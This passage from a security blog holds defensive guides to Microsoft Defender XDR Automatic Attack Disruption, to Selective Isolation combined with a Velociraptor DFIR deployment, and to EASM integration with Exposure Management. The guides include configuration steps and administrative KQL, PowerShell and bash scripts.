downgrade attacks discovered in 2025.\nBusiness Email Compromise (BEC) – Financial fraud attempts through compromised email accounts trigger rapid containment based on unusual mailbox behavior and suspicious financial communications. With mail bombing attacks now detectable as of June 2025, the system can identify DDoS attempts that often precede BEC attacks.\nExample flow of a attack disruption in a BEC attack:\nHuman-operated ransomware – The bread and butter of Attack Disruption. It recognizes hands-on-keyboard patterns, lateral movement attempts, and pre-encryption behaviors, automatically containing affected systems before encryption begins.\nExample flow of a attack disruption in STORM-1567:\nCredential theft and privilege escalation – When attackers compromise domain admin accounts or attempt privilege escalation, the system responds with immediate account suspension and device isolation.\nMulti-stage phishing campaigns – Complex attack chains targeting high-value assets trigger coordinated responses across email, endpoint, and identity planes.\nThe three-stage defense architecture Attack Disruption operates through a sophisticated correlation engine that processes signals in three distinct stages:\nStage 1: Multi-vector signal correlation The system continuously ingests and correlates telemetry from all deployed Defender products: endpoint behavioral analytics, identity anomalies, email security indicators, and cloud application activity. This cross-product visibility is crucial; isolated signals that seem benign become critical when correlated across domains.\nStage 2: Compromised asset identification Once high-confidence attack patterns emerge, the system maps the attack’s progression across your environment. It identifies not just currently compromised assets but also likely next targets based on lateral movement patterns and attacker TTPs (Tactics, Techniques, and Procedures).\nStage 3: Automated response execution Based on the threat scope and your configured automation levels, the system executes appropriate containment actions while preserving forensic evidence. These aren’t random isolations. They’re surgical strikes designed to break the attack chain while minimizing business disruption.\nAutomated response actions in practice The platform can execute four primary response actions, each serving a specific defensive purpose:\nDevice containment isolates compromised endpoints from network communications while maintaining a forensic channel to the Defender portal. I’ve seen this stop ransomware spread in its tracks during active attacks.\nUser account suspension immediately disables compromised accounts in both Active Directory and Microsoft Entra ID (formerly Azure AD). This is particularly effective against BEC attacks where every minute counts.\nUser containment provides temporary identity-based blocking that prevents lateral movement without fully disabling accounts, perfect for investigating suspicious but unconfirmed activity.\nIP address containment blocks malicious IP addresses associated with command-and-control infrastructure or compromised unmanaged devices attempting network access.\nHigh-confidence decision making What sets Attack Disruption apart from basic automated response tools is its sophisticated decision-making framework:\nMulti-vector convergent analysis requires corroborating evidence from multiple security domains before taking action Threat intelligence integration leverages Microsoft’s visibility into thousands of real-world incidents daily Advanced AI models trained on confirmed attack patterns, not just anomalies Temporal and contextual correlation understands that certain behaviors together in sequence indicate attacks This multi-layered approach maintains exceptionally low false positive rates, critical for maintaining trust in automation.\nLicensing requirements and architecture License requirements Full Attack Disruption functionality requires one of these licensing combinations:\nSubscription Type Coverage Best for Microsoft 365 E5 Complete Most organizations – best value Microsoft 365 A5 Complete Educational institutions Microsoft 365 E3 + E5 Security Complete Organizations with existing E3 Microsoft 365 A3 + A5 Security Complete Educational alternative Partial coverage options (requiring additional products):\nWindows 10/11 Enterprise E5 EMS E5 Office 365 E5 Essential product dependencies These four products must all be deployed for complete Attack Disruption coverage:\nMicrosoft Defender for Endpoint Plan 2 – Provides device containment and behavioral analytics Microsoft Defender for Identity – Enables Active Directory and Entra ID account suspension Microsoft Defender for Cloud Apps – Supplies cloud application signals and OAuth app governance Microsoft Defender for Office 365 Plan 2 – Delivers email security signals and SafeLinks protection Missing any component creates coverage gaps that sophisticated attackers will exploit. I don’t dive into how to configure MDE/MDI/MDCA/MDO, below I have added the steps that are often forgotten. Make sure to check them! And again: the wider the deployment, the greater the protection coverage is\nPermission configuration Proper role assignment ensures your team can manage Attack Disruption effectively:\nRole Purpose Global Administrator Full configuration access Security Administrator Manage Attack Disruption settings Security Reader View actions and incidents Security Operator Approve/reject pending actions Microsoft Defender for Endpoint configuration (important for HumOR and AiTM) Agent version requirements When you have deployed Microsoft Defender for Endpoint (MDE), you must verify the minimum Sense Agent version for full functionality is 10.8470. This version enables the critical “Contain User” action essential for stopping human-operated attacks. Running older versions severely limits your defensive capabilities.\nValidate your current deployment with this KQL query:\nKQL// Identify devices with outdated agent versions DeviceInfo | where Timestamp \u0026gt; ago(1d) | where OnboardingStatus == \u0026#34;Onboarded\u0026#34; | summarize arg_max(Timestamp, *) by DeviceId | extend AgentVersionNumber = toint(substring(ClientVersion, 0, indexof(ClientVersion, \u0026#34;.\u0026#34;))) | where AgentVersionNumber \u0026lt; 10 or (AgentVersionNumber == 10 and toint(substring(ClientVersion, indexof(ClientVersion, \u0026#34;.\u0026#34;) + 1)) \u0026lt; 8470) | project DeviceName, ClientVersion, OnboardingStatus, OSPlatform | sort by DeviceName asc Local verification:\nPowerShell# Check agent version locally Get-ItemProperty -Path \u0026#39;Registry::HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows Advanced Threat Protection\\Status\u0026#39; -Name \u0026#34;MsSenseDllVersion\u0026#34; Device Group automation strategy Device groups control automation levels across your environment. Strategic configuration balances security effectiveness with business continuity.\nManual configuration steps:\nNavigate to the Microsoft Defender portal (https://security.microsoft.com) Go to Settings \u0026gt; Endpoints \u0026gt; Permissions \u0026gt; Device groups Click + Add device group Configure the following settings: Name and description – Use clear, function-based naming (e.g., “Production Servers – Semi-Auto”) Automation level – Choose based on device criticality: Automation level Description When actions are taken Full – remediate threats automatically Recommended setting Malicious verdicts = automatic remediation Semi – require approval for any remediation All actions need approval All verdicts require manual approval Semi – require approval for core folders remediation Core system folders protected Malicious in system folders = approval needed; elsewhere = automatic Semi – require approval for non-temp folders remediation Temp folders automated Temp folders = automatic; other locations = approval needed Semi – require approval for all folders Investigation only All remediation requires approval No automated response Not recommended No automated investigation or remediation Device Discovery configuration Standard discovery mode is essential for Attack Disruption to identify and respond to unmanaged devices attempting network access.\nConfiguration steps:\nIn the Microsoft Defender portal, go to Settings \u0026gt; Device discovery Ensure Standard discovery is enabled (not Basic) Configure monitored networks as needed Save changes Monitor discovery of devices after a bit of time:\nKQL// Check for devices that should be onboarded DeviceInfo | summarize arg_max(Timestamp, *) by DeviceId | where isempty(MergedToDeviceId) | where OnboardingStatus == \u0026#34;Can be onboarded\u0026#34; | project DeviceName, OnboardingStatus, LastSeen = Timestamp, OSPlatform Microsoft Defender for Identity configuration (important for hybrid users) Domain Controller audit requirements Proper audit policies enable Defender for Identity to detect and respond to credential-based attacks. See my extensive guide on Defender for Identity, below the important things to keep in mind.\nManual audit configuration via Group Policy:\nOpen Group Policy Management Console on a domain controller Navigate to Computer Configuration \u0026gt; Policies \u0026gt; Windows Settings \u0026gt; Security Settings \u0026gt; Advanced Audit Policy Configuration \u0026gt; Audit Policies Configure the following audit subcategories for Success and Failure: Account Logon \u0026gt; Audit Credential Validation Account Management \u0026gt; Audit Computer Account Management Account Management \u0026gt; Audit Distribution Group Management Account Management \u0026gt; Audit Security Group Management Account Management \u0026gt; Audit User Account Management DS Access \u0026gt; Audit Directory Service Changes DS Access \u0026gt; Audit Directory Service Access System \u0026gt; Audit Security System Extension Apply the GPO to all domain controllers Verify with PowerShell: PowerShell# Install the Defender for Identity PowerShell module Install-Module -Name DefenderForIdentity # Set all required audit configurations Set-MDIConfiguration -Mode Domain -Configuration All # Test if all configurations are correct Test-MDIConfiguration -Mode Domain -Configuration All # View current configuration status Get-MDIConfiguration -Mode Domain -Configuration All Action account configuration Defender for Identity uses the LocalSystem account on domain controllers for automated responses by default. The sensor must be deployed on the DC where Active Directory accounts will be disabled.\nImportant considerations:\nValidate that no automation conflicts exist that might re-enable disabled accounts Ensure the LocalSystem account maintains proper permissions Test account suspension in a controlled environment first Verify sensor deployment:\nPowerShell# Check Defender for Identity sensor service Get-Service -Name \u0026#34;AATPSensor\u0026#34; # Verify sensor deployment on domain controllers Get-WmiObject -Class Win32_Service -Filter \u0026#34;Name=\u0026#39;AATPSensor\u0026#39;\u0026#34; | Select-Object Name, State, StartMode Entra ID integration With the rebranding from Azure AD to Microsoft Entra ID, it’s important to understand how Attack Disruption handles different account types:\nFor hybrid accounts (synced from AD):\nDefender for Identity disables the on-premises AD account Attack Disruption also disables the Entra ID synced account For cloud-only accounts (Entra ID native):\nAttack Disruption disables the account directly in Entra ID This doesn’t require Defender for Identity deployment Microsoft Defender for Cloud Apps integration (important for BEC detections) Office 365 Connector configuration The Office 365 connector provides essential visibility for detecting for example BEC attacks and suspicious OAuth applications.\nDetailed setup process:\nNavigate to the Microsoft Defender portal (https://security.microsoft.com) Go to Settings \u0026gt; Cloud Apps \u0026gt; Connected apps \u0026gt; App connectors Click Connect an app and select Office 365 In the connection wizard, grant the following permissions: Microsoft Entra Users and groups Microsoft Entra ID Management events Microsoft Entra ID Sign-in events Microsoft Entra ID Apps Microsoft 365 activities Microsoft 365 files Review and accept the permission consent Verify connection status shows “Connected” App Governance configuration App Governance provides critical OAuth application visibility to detect malicious apps used in attacks. Also for this, check my blogpost which I created before, below the short steps to enable it.\nEnablement steps:\nIn Microsoft Defender portal, navigate to Cloud Apps \u0026gt; App governance If not activated, click Get started to enable App Governance Accept the terms and conditions Wait for initial discovery (can take 1-2 hours) Configure OAuth app policies: Go to Policies \u0026gt; Create policy Select OAuth app anomaly detection Configure thresholds for suspicious app behavior Enable automatic remediation where appropriate Network requirements update (critical) Important: Microsoft has announced critical network requirement changes for Defender for Cloud Apps:\nFor commercial tenants (by April 29, 2025):\nUpdate firewall configurations to allow the new Azure service tags Add AzureFrontDoor.MicrosoftSecurity tag to allowlist Configure outbound traffic on port 443 For GCC/Government Tenants (by August 25, 2025):\nAllow outbound traffic on port 443 to specified IP ranges Add Azure Gov service tag AzureFrontDoor.MicrosoftSecurity Failure to update these configurations will result in service disruption.\nMicrosoft Defender for Office 365 configuration (important for AiTM) Mailbox auditing Enable auditing for all mailboxes to detect attack patterns. The following events must be audited at minimum:\nMailItemsAccessed (tracks email access patterns) UpdateInboxRules (detects malicious rule creation) MoveToDeletedItems (monitors email manipulation) SoftDelete (tracks email deletion) HardDelete (tracks permanent deletion) Complete PowerShell configuration:\nPowerShell# Connect to Exchange Online Connect-ExchangeOnline # Step 1: Enable unified audit log ingestion (for admin actions) Get-AdminAuditLogConfig | Format-List UnifiedAuditLogIngestionEnabled # If False, enable it: Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $true # Step 2: Enable mailbox auditing by default (for mailbox actions) Get-OrganizationConfig | Format-List AuditDisabled # If True (auditing is disabled), enable it: Set-OrganizationConfig -AuditDisabled $false # Step 3: Configure specific audit events for all mailboxes $AuditEvents = @(\u0026#34;MailItemsAccessed\u0026#34;,\u0026#34;UpdateInboxRules\u0026#34;,\u0026#34;MoveToDeletedItems\u0026#34;,\u0026#34;SoftDelete\u0026#34;,\u0026#34;HardDelete\u0026#34;) Get-Mailbox -ResultSize Unlimited -Filter \u0026#34;RecipientTypeDetails -eq \u0026#39;UserMailbox\u0026#39;\u0026#34; | ForEach-Object { Set-Mailbox -Identity $_.Identity ` -AuditEnabled $true ` -AuditLogAgeLimit 90 ` -AuditAdmin ($AuditEvents -join \u0026#34;,\u0026#34;) ` -AuditDelegate ($AuditEvents -join \u0026#34;,\u0026#34;) ` -AuditOwner ($AuditEvents -join \u0026#34;,\u0026#34;) } # Verify configuration Get-Mailbox -ResultSize 10 | Format-List Name, AuditEnabled, AuditLogAgeLimit SafeLinks policy configuration At least one active SafeLinks policy must be configured for Attack Disruption email threat detection.\nManual Configuration Steps:\nNavigate to Microsoft 365 Defender portal (https://security.microsoft.com) Go to Email \u0026amp; collaboration \u0026gt; Policies \u0026amp; rules \u0026gt; Threat policies \u0026gt; Safe Links Click Create to add a new policy Configure policy settings: Name: “Custom – SafeLinks Policy” URL scanning: Enable “On: Safe Links checks a list of known, malicious links” Real-time scanning: Enable “Apply real-time URL scanning for suspicious links” Wait for scanning: Enable “Wait for URL scanning to complete before delivering” Internal emails: Enable “Apply Safe Links to email messages sent within the organization” Click protection: Enable “Track user clicks” User override: Disable “Do not let users click through to original URL” Configure app protection: Enable Safe Links for Office 365 applications Enable Safe Links for Microsoft Teams Apply to recipients: Condition: The recipient domain is Value: Select all accepted domains Set priority to 0 (highest) Review and Save Configuration and verification via PowerShell:\nPowerShell# Connect to Security \u0026amp; Compliance PowerShell Connect-IPPSSession # Create a new SafeLinks policy New-SafeLinksPolicy -Name \u0026#34;Custom - SafeLinks Policy\u0026#34; ` -EnableSafeLinksForEmail $true ` -EnableSafeLinksForOffice $true ` -EnableSafeLinksForTeams $true ` -ScanUrls $true ` -DeliverMessageAfterScan $true ` -EnableForInternalSenders $true ` -AllowClickThrough $false ` -TrackUserClicks $true # Create and apply the SafeLinks rule New-SafeLinksRule -Name \u0026#34;Custom - SafeLinks Policy\u0026#34; ` -SafeLinksPolicy \u0026#34;Custom - SafeLinks Policy\u0026#34; ` -RecipientDomainIs (Get-AcceptedDomain).Name ` -Enabled $true # Verify the policy is active Get-SafeLinksPolicy -Identity \u0026#34;Custom - SafeLinks Policy\u0026#34; Get-SafeLinksRule -Identity \u0026#34;Custom - SafeLinks Policy\u0026#34; Strategic exclusion management User account exclusions While the platform allows excluding specific accounts from automated responses, use this capability sparingly. High-value accounts, often targeted in attacks, need maximum protection.\nConfigure user exclusions:\nIn the Microsoft Defender portal, go to Settings \u0026gt; Microsoft Defender XDR Under Automated response, select Identities Click Add user exclusion Enter user account names (UPN format) Select Exclude users to save Appropriate exclusions include:\nEmergency break-glass accounts (with compensating controls) Critical service accounts with unique authentication patterns Test accounts in completely isolated environments Never exclude:\nC-level executives or VIPs (prime targets for BEC/AiTM) Domain administrators Service accounts with broad permissions Device Group exclusions Device exclusions affect both Attack Disruption and broader automated investigation capabilities.\nConfiguration process:\nNavigate to Settings \u0026gt; Microsoft Defender XDR \u0026gt; Automated response \u0026gt; Devices In the Device groups tab, select the group to configure Choose the appropriate automation level Document business justification for any “No automated response” settings Action Center operations Understanding the Action Center interface The Action Center (https://security.microsoft.com/action-center) serves as your command center for Attack Disruption events.\nPending Actions tab:\nDisplays actions awaiting approval in semi-automated scenarios Provides bulk approval/rejection for similar action types Shows full incident context and affected assets Critical for maintaining automated investigation flow History tab:\nComplete audit trail of all automated actions Tracks automated investigations and Live Response sessions Provides ability to undo certain completed actions Serves as compliance documentation Incident recognition Attack Disruption incidents are easily identifiable through several indicators:\nAttack Disruption tag in the incident queue for easy filtering Yellow banner at the top of incident pages highlighting automatic actions taken Asset status indicators in the incident graph showing contained devices and disabled accounts (attack disruption) string added to incident titles via API Managing automated responses When investigations confirm threats have been remediated, contained assets can be released:\nDevice release process:\nNavigate to the incident page or Action Center Locate the contained device in the incident graph Click on the device to open asset details Select “Release from containment” Provide business justification Confirm the release action User account re-enablement:\nLocate the disabled user account in incident details Click on the user account Select “Enable user” Provide justification for enablement Confirm the action Advanced Monitoring queries Attack Disruption effectiveness List compromised accounts\nKQLkql DisruptionAndResponseEvents | where isnotempty( CompromisedAccountCount) Show policies applied\nKQLkql DisruptionAndResponseEvents | distinct PolicyName Show unique ActionTypes\nKQLkql DisruptionAndResponseEvents | distinct ActionType Additional resources https://learn.microsoft.com/en-us/defender-xdr/automatic-attack-disruption\nConclusion Attack Disruption represents a paradigm shift in automated threat response. When properly deployed with all components, Microsoft Entra ID integration, complete Defender product suite, proper network configurations, and comprehensive auditing, it transforms your security posture from reactive to preemptive, containing sophisticated attacks in minutes rather than hours.\nSuccess requires more than just turning on features. It demands:\nComprehensive product deployment across all four Defender products Minimum configuration must contain at least Entra ID data, mailbox auditing, and SafeLinks Thoughtful automation level selection balancing security and operations Continuous optimization based on real-world performance Regular updates to meet evolving network and security requirements The organizations I’ve worked with report dramatic improvements after full implementation: ransomware attacks contained before encryption, BEC attempts stopped before wire transfers, AiTM attacks disrupted before token theft, and lateral movement halted at the first compromised credential.\nBut perhaps most importantly, their security teams can focus on threat hunting and strategic improvements rather than fighting fires. In an era where attackers operate 24/7 with increasing sophistication, Attack Disruption serves as your organization’s immune system: always on, constantly learning, and ready to respond automatically when threats strike.\nAs the threat landscape evolves, from FIDO downgrade attacks to OAuth app exploitation, Microsoft continues enhancing Attack Disruption capabilities. Stay engaged with the security community, monitor Microsoft’s security updates, and continuously refine your implementation.\nRemember: Attack Disruption isn’t just another security tool. It’s your organization’s automatic defense system, ready to protect your environment when every second counts. Configure it thoughtfully, monitor it diligently, and trust it to protect your organization during those critical moments when human response simply isn’t fast enough.\n","date":"13 August 2025","externalUrl":null,"permalink":"/automatic-attack-disruption-defender-xdr/","section":"All articles","summary":"","title":"Automatic Attack Disruption in Microsoft Defender XDR","type":"posts"},{"content":" Introduction With the introduction of Selective Isolation, Microsoft Defender for Endpoint has taken a significant step toward more flexible incident response. Instead of fully isolating an endpoint from the network, security teams can now allow specific outbound connections, enabling secure communication with approved services such as a forensic server or response platform.\nThis development removes a critical blocker for incident responders: the trade-off between containment and investigation. Defender’s own investigation tools, including Live Response and Timeline, provide powerful capabilities. But for deeper forensics, with tools like Velociraptor still offer value: especially in scenarios involving memory analysis, persistence detection, or large-scale artifact collection.\nIn this article, we explore how Selective Isolation works, what Microsoft Defender for Endpoint (MDE) can offer natively, how it can be extended with Velociraptor, and what a modern DFIR process looks like when combining containment with full investigative access.\nNative Defender for Endpoint capabilities Before considering third-party tooling, it is important to recognize that Microsoft Defender for Endpoint already includes a mature and evolving set of response and investigation capabilities. When a device is onboarded, the following functions become available to security analysts:\nDevice Timeline: Provides detailed visibility into process execution, file creation, registry activity, and more. Alert Storyline: Automatically correlates signals from various components to show attack progression. Advanced Hunting: Allows threat analysts to write custom KQL queries across telemetry. Live Response: A remote PowerShell-based shell that can retrieve files, kill processes, and execute scripts. Investigation Graph: Visualizes relationships between alerts, identities, devices, and evidence. File and Registry Evidence: Enables analysts to isolate and inspect malicious binaries and registry modifications. Integration across XDR: Correlation with signals from Defender for Identity, Cloud Apps, and Office 365. However, during an active DFIR case, you may encounter situations where critical visibility is missing, and physically retrieving the device is not a viable option when remote investigation is possible. Traditionally, isolating a device for containment meant losing remote access, and the Investigation Package alone was often insufficient. Selective Isolation addresses this limitation by allowing secure connectivity to approved forensic tools during containment.\nSelective Isolation: overview and modes Selective Isolation is a network containment feature within Defender for Endpoint that allows administrators to restrict all outbound traffic except specific destinations required for investigation or remediation.\nUnlike traditional full isolation, which only permits communication with Microsoft security services, Selective Isolation introduces configurable allowlists for IP addresses and more.\nMicrosoft formally introduced Selective Isolation in June 2025 in public preview, and it is available to all customers with Microsoft Defender for Endpoint Plan 2 or via Microsoft 365 E5 licensing.\nSupported modes There are currently two modes of network isolation available:\nFull Isolation: All outbound traffic is blocked except communication with Microsoft Defender backend services. Selective Isolation: Communication is blocked except to destinations defined by the organization in an isolation exclusion profile. Selective Isolation enables secure interaction with:\nInternal forensic servers (e.g., Velociraptor) SOAR or IR orchestration platforms Secure file repositories or cloud storage Internal services such as revocation servers or proxies Configuration and application of Selective Isolation Implementing Selective Isolation requires a small number of preparatory steps. Once configured, it becomes an operational tool during containment or escalation procedures.\nStep 1: Enable Isolation exclusion rules Log into the Microsoft 365 Defender portal Navigate to Settings → Endpoints → Advanced Features Enable Isolation Exclusion Rules and Live Response unsigned script execution (or else you have to sign the PS1 files later on – which is better ofcourse 🙁 ) This enables the option to apply Selective Isolation and define custom allowlists.\nStep 2: Create an exclusion profile Navigate to Settings → Endpoints → Isolation Exclusion Rules Click Add device isolation exclusion (make sure to add an inbound and outbound rule to your server IP which we create in the steps below) Provide a clear name (e.g., velociraptor-access-policy) Define one or more destinations: IP addresses (e.g., 10.1.2.10) Save the policy Step 3: Apply isolation with exclusion Go to Device inventory and select the affected endpoint Choose Isolate Device from the action menu Select Isolation Exclusions to be allowed Confirm The device will be isolated from all other network activity except the explicitly defined destinations.\nStep 4: Validate behavior Once isolated, validate the configuration:\nThe device will appear as Isolated Live Response remains available Connectivity to defined destinations should succeed Other network activity will be blocked This isolation mode preserves investigation access without allowing lateral movement or external communication.\nExtending DFIR with Velociraptor Velociraptor is an open-source DFIR platform that complements Defender for Endpoint by providing deep forensic visibility. It enables memory acquisition, advanced artifact collection, and persistent hunt capability at scale.\nYeah lets post a stupid AI picture tooWhile Defender for Endpoint offers excellent detection and triage, Velociraptor adds:\nMemory dumps and YARA scanning Collection of Amcache, Prefetch, MFT, and Registry artifacts In-memory malware detection and process forensics Live artifact scheduling across multiple endpoints Persistence across reboots and sessions When paired with Selective Isolation, Velociraptor can continue to operate securely on an endpoint under containment.\nDeploying Velociraptor for use with isolated endpoints There are several ways to deploy Velociraptor in a secure and scalable manner. One notable example is a project by Eric Mannon, who developed a clean and efficient Azure-based Velociraptor deployment method that avoids the need for a persistent VM.\nThis approach is ideal for scalable and ephemeral deployments in modern cloud environments. You can even use his MDEAutomator to push the files to Live Response.\nMore information can be found on his GitHub repository and LinkedIn article:\nGitHub: link LinkedIn: link In this blog, however, I will do a traditional legacy lame VM-based deployment. That can be used for environments that require or prefer direct control over server infrastructure.\nServer Deployment Deploy a Linux virtual machine (tested with Ubuntu 24.10) Paste the script below and make sure to chmod +x it and run (beware I hardcoded the lastest version as of per july 2025) Bash#!/usr/bin/env bash set -euo pipefail VR_BIN=\u0026#34;/usr/local/bin/velociraptor\u0026#34; VR_USER=\u0026#34;velociraptor\u0026#34; VR_CONFIG=\u0026#34;/etc/velociraptor/server.config.yaml\u0026#34; VR_SERVICE=\u0026#34;/etc/systemd/system/velociraptor.service\u0026#34; echo \u0026#34;[+] Installing curl\u0026#34; apt-get update -y apt-get install -y curl echo \u0026#34;[+] Creating Velociraptor user if not exists\u0026#34; id -u \u0026#34;$VR_USER\u0026#34; \u0026amp;\u0026gt;/dev/null || useradd -r -s /usr/sbin/nologin \u0026#34;$VR_USER\u0026#34; echo \u0026#34;[+] Downloading Velociraptor v0.74.5\u0026#34; curl -L -o \u0026#34;$VR_BIN\u0026#34; https://github.com/Velocidex/velociraptor/releases/download/v0.74/velociraptor-v0.74.5-linux-amd64 echo \u0026#34;[+] Validating binary\u0026#34; if ! file \u0026#34;$VR_BIN\u0026#34; | grep -q \u0026#34;ELF 64-bit\u0026#34;; then echo \u0026#34;[✗] Invalid Velociraptor binary\u0026#34; rm -f \u0026#34;$VR_BIN\u0026#34; exit 1 fi chmod 755 \u0026#34;$VR_BIN\u0026#34; echo \u0026#34;[+] Generating server config\u0026#34; mkdir -p \u0026#34;$(dirname \u0026#34;$VR_CONFIG\u0026#34;)\u0026#34; \u0026#34;$VR_BIN\u0026#34; config generate \u0026gt; \u0026#34;$VR_CONFIG\u0026#34; echo \u0026#34;[+] Setting permissions\u0026#34; chown -R \u0026#34;$VR_USER:$VR_USER\u0026#34; /etc/velociraptor echo \u0026#34;[+] Creating systemd service\u0026#34; cat \u0026gt;\u0026#34;$VR_SERVICE\u0026#34; \u0026lt;\u0026lt;EOF [Unit] Description=Velociraptor DFIR Server After=network.target [Service] Type=simple User=$VR_USER Group=$VR_USER ExecStart=$VR_BIN -c $VR_CONFIG frontend -v Restart=on-failure LimitNOFILE=20000 [Install] WantedBy=multi-user.target EOF echo \u0026#34;[+] Starting Velociraptor\u0026#34; systemctl daemon-reload systemctl enable --now velociraptor echo echo \u0026#34;[✓] Velociraptor is running!\u0026#34; echo \u0026#34; Web UI (no TLS): http://$(hostname -I | awk \u0026#39;{print $1}\u0026#39;):8889\u0026#34; echo \u0026#34; Agent check-in: http://$(hostname -I | awk \u0026#39;{print $1}\u0026#39;):8000\u0026#34; Edit the Config yaml: nano /etc/velociraptor/server.config.yaml Configure GUI and Frontend bind_address to 0.0.0.0 and change the bind_port to 8443 (I had to change the default port for a specific reason – you can leave as default too) Change the Client server_urls to your URL and check if the correct port is used too (8443 in my case) Define custom SSL certificates and change it too as per following link (by default you get a self signed SSL) Save the yaml file Add an admin account: ./velociraptor --config server.config.yaml user add admin P@ss123 --role administrator Restart Velociraptor: sudo systemctl restart velociraptor Check the logs in case Velociraptor can’t run: /usr/local/bin/velociraptor -c /etc/velociraptor/server.config.yaml frontend -v Agent Deployment (on isolated device) Follow the steps below to manually install the agent on the isolated endpoint. For an automated approach you can use the Live Response API too.\nFirst grab the client.root.config.yaml from the Velociraptor portal, by logging in with the admin account created above and save the config as client.config.yaml: Download the corresponding .msi file (velociraptor-vx.xx.x-windows-amd64.msi) from here and save it as velociraptor.msi (you can also wrap a bundle yourself through this link) Create a fresh powershell and name it like install_velociraptor.ps1 with the code below: PowerShell# Paths $MsiPath = \u0026#34;C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Downloads\\velociraptor.msi\u0026#34; $ConfigPath = \u0026#34;C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Downloads\\client.config.yaml\u0026#34; Write-Output \u0026#34;---- Velociraptor MSI installation initiated ----\u0026#34; # Step 1: Copy config to the expected location $ConfigDest = \u0026#34;C:\\Program Files\\Velociraptor\\client.config.yaml\u0026#34; if (!(Test-Path \u0026#34;C:\\Program Files\\Velociraptor\u0026#34;)) { New-Item -Path \u0026#34;C:\\Program Files\\Velociraptor\u0026#34; -ItemType Directory -Force } Copy-Item -Path $ConfigPath -Destination $ConfigDest -Force # Step 2: Install the MSI silently Start-Process msiexec.exe -ArgumentList \u0026#34;/i `\u0026#34;$MsiPath`\u0026#34; /qn\u0026#34; -Wait # Step 3: Start the service Start-Service -Name velociraptor Write-Output \u0026#34;Velociraptor installed and service started.\u0026#34; Now upload the install_velociraptor.ps1, client.config.yaml and velociraptor.msi via Live Response and submit: Start a Live Response session and type putfile and the filenames, to download them onto the device: putfile velociraptor.msi putfile client.config.yaml putfile install_velociraptor.ps1 Now start the Powershell file to install the MSI (I’m using the MSI to be able to install the service and gain persistency): At this point if you check the Timeline in MDE, the events start popping up: From my setup I can interact with my isolated endpoint and do all the fancy stuff now 🙂 Using Velociraptor I’m not going to dive in how you can use Velociraptor, I recommend going through these docs and video:\nhttps://training.velociraptor.app\nAnd make sure to check KAPE too\nPractical use cases Scenario MDE + Live Response Velociraptor Memory dump ✖ ✔ Shimcache, Amcache ✖ ✔ YARA scan (memory/disk) ✖ ✔ Registry and autoruns ✔ (limited) ✔ Event log timeline ✔ ✔ Multi-endpoint hunt ✔ (AH) ✔ Persistent session (DFIR) ✖ ✔ Combined, these tools provide layered insight without lifting containment.\nConclusion Selective Isolation introduces a meaningful improvement to containment and investigation in Microsoft Defender for Endpoint. Where previously an isolated endpoint was also inaccessible to responders, we now have the ability to safely maintain access to critical tools such as Velociraptor or Live Response.\nSecurity operations teams can confidently apply isolation without compromising forensic capability. Defender provides strong triage and analysis features natively, while Velociraptor extends the response lifecycle into memory analysis, execution tracing, and attacker behavior correlation.\nFor organizations dealing with modern threats, this combination enables rapid containment, effective root cause investigation, and informed remediation, without delay or exposure.\n","date":"13 July 2025","externalUrl":null,"permalink":"/mde-selective-isolation-velociraptor/","section":"All articles","summary":"","title":"Selective Isolation in Defender for Endpoint – Combining tools like Velociraptor for DFIR","type":"posts"},{"content":" Introduction Microsoft has taken another step in closing the gap between internal risk and external exposure. With the June 2025 public preview release of Microsoft Defender External Attack Surface Management (EASM) integration into Defender Exposure Management, organizations can now analyze attacker pathways that begin outside the enterprise perimeter.\nThis addition enables a more realistic, end-to-end understanding of exploitable risks, bringing external visibility directly into the risk modeling engine of Microsoft Defender XDR. In this guide, in addition to my earlier posts about Defender EASM and Exposure Management, I walk through how this integration works, what it unlocks, how to enable it, and what to look out for when validating the setup.\nFrom internal misconfigurations to external threat vectors Traditional exposure management has largely focused on the internal environment: devices, identities, configurations, and software vulnerabilities. While these remain foundational, the increasing complexity of digital footprints means that external exposures, publicly accessible assets, misconfigured services, and shadow IT, pose an equally significant risk.\nMicrosoft Defender EASM is designed to continuously discover and monitor an organization’s public-facing assets, such as:\nUntracked or legacy subdomains Exposed endpoints (e.g., RDP, VPN, or admin portals) Expired or weak TLS certificates Public cloud assets or services configured without proper access control By integrating this data into Defender Exposure Management, security teams gain the ability to prioritize and remediate exposures that attackers are most likely to exploit.\nWhat this integration enables The integration between EASM and Exposure Management introduces several critical capabilities:\nUnified visibility across surfaces\nPreviously siloed views of internal and external risk are now converged in a single pane of glass, enabling defenders to take action with complete context.\nAttack Path enrichment\nExternal assets discovered by EASM are now included in attack path modeling within Defender Exposure Management. This allows for the identification of realistic exploitation scenarios beginning from internet-facing infrastructure.\nRisk-based prioritization\nExposure paths involving externally accessible services, especially those lacking MFA, endpoint protection, or conditional access, are now scored with higher severity, ensuring the most exploitable risks are surfaced.\nHow it works: a technical perspective At the core of this integration is Microsoft’s threat intelligence pipeline, which now ingests telemetry from Defender EASM and correlates it with internal signals across Entra ID, Defender for Endpoint, and Microsoft 365.\nThe process is fully automated:\nEASM continuously discovers external assets using DNS resolution, certificate analysis, and passive fingerprinting. Exposure Management ingests EASM findings into its graph-based risk engine. Correlations are established between public-facing assets and internal objects (identities, devices, configurations). Attack paths are recalculated to reflect real-world attacker entry points. No additional agents, scripts, or connectors are required.\nLicensing and prerequisites Before you begin, ensure the following conditions are met:\nRequirement Description Microsoft Defender EASM Active EASM workspace with validated domains and discovered assets Microsoft Defender XDR Exposure Management (Preview) must be enabled in the tenant License requirements Microsoft 365 E5 + EASM (standalone or bundled license) Same tenant EASM workspace must be associated with the same Entra tenant as Defender XDR Public preview availability Feature is available in supported regions as of June 2025 Step-by-step guide This guide explains how to integrate your Microsoft Defender EASM workspace into the Exposure Management experience in Microsoft Defender XDR.\nStep 1 – Open Exposure Management in Defender XDR Go to the Microsoft 365 Defender portal In the left-hand menu, select Exposure management Under Key initiatives, locate External Attack Surface Protection Click Open initiative page Step 2 – Connect EASM data to the initiative In the initiative view, click Connect data to see initiative details Choose one of the following options: Connect your MDEASM workspace Search for your organization’s pre-built footprint Step 3 – Fill in workspace details (if applicable) If you choose to connect a workspace:\nEnter the following: Resource name (e.g., secmanagementeasmprd001) Subscription ID Resource group name Region If using the pre-built option:\nEnter your organization’s name Click Connect to finalize the integration\nStep 4 – Wait for data ingestion A notification will confirm the configuration was successful It may take up to 32 hours for data to populate within the initiative Once complete, 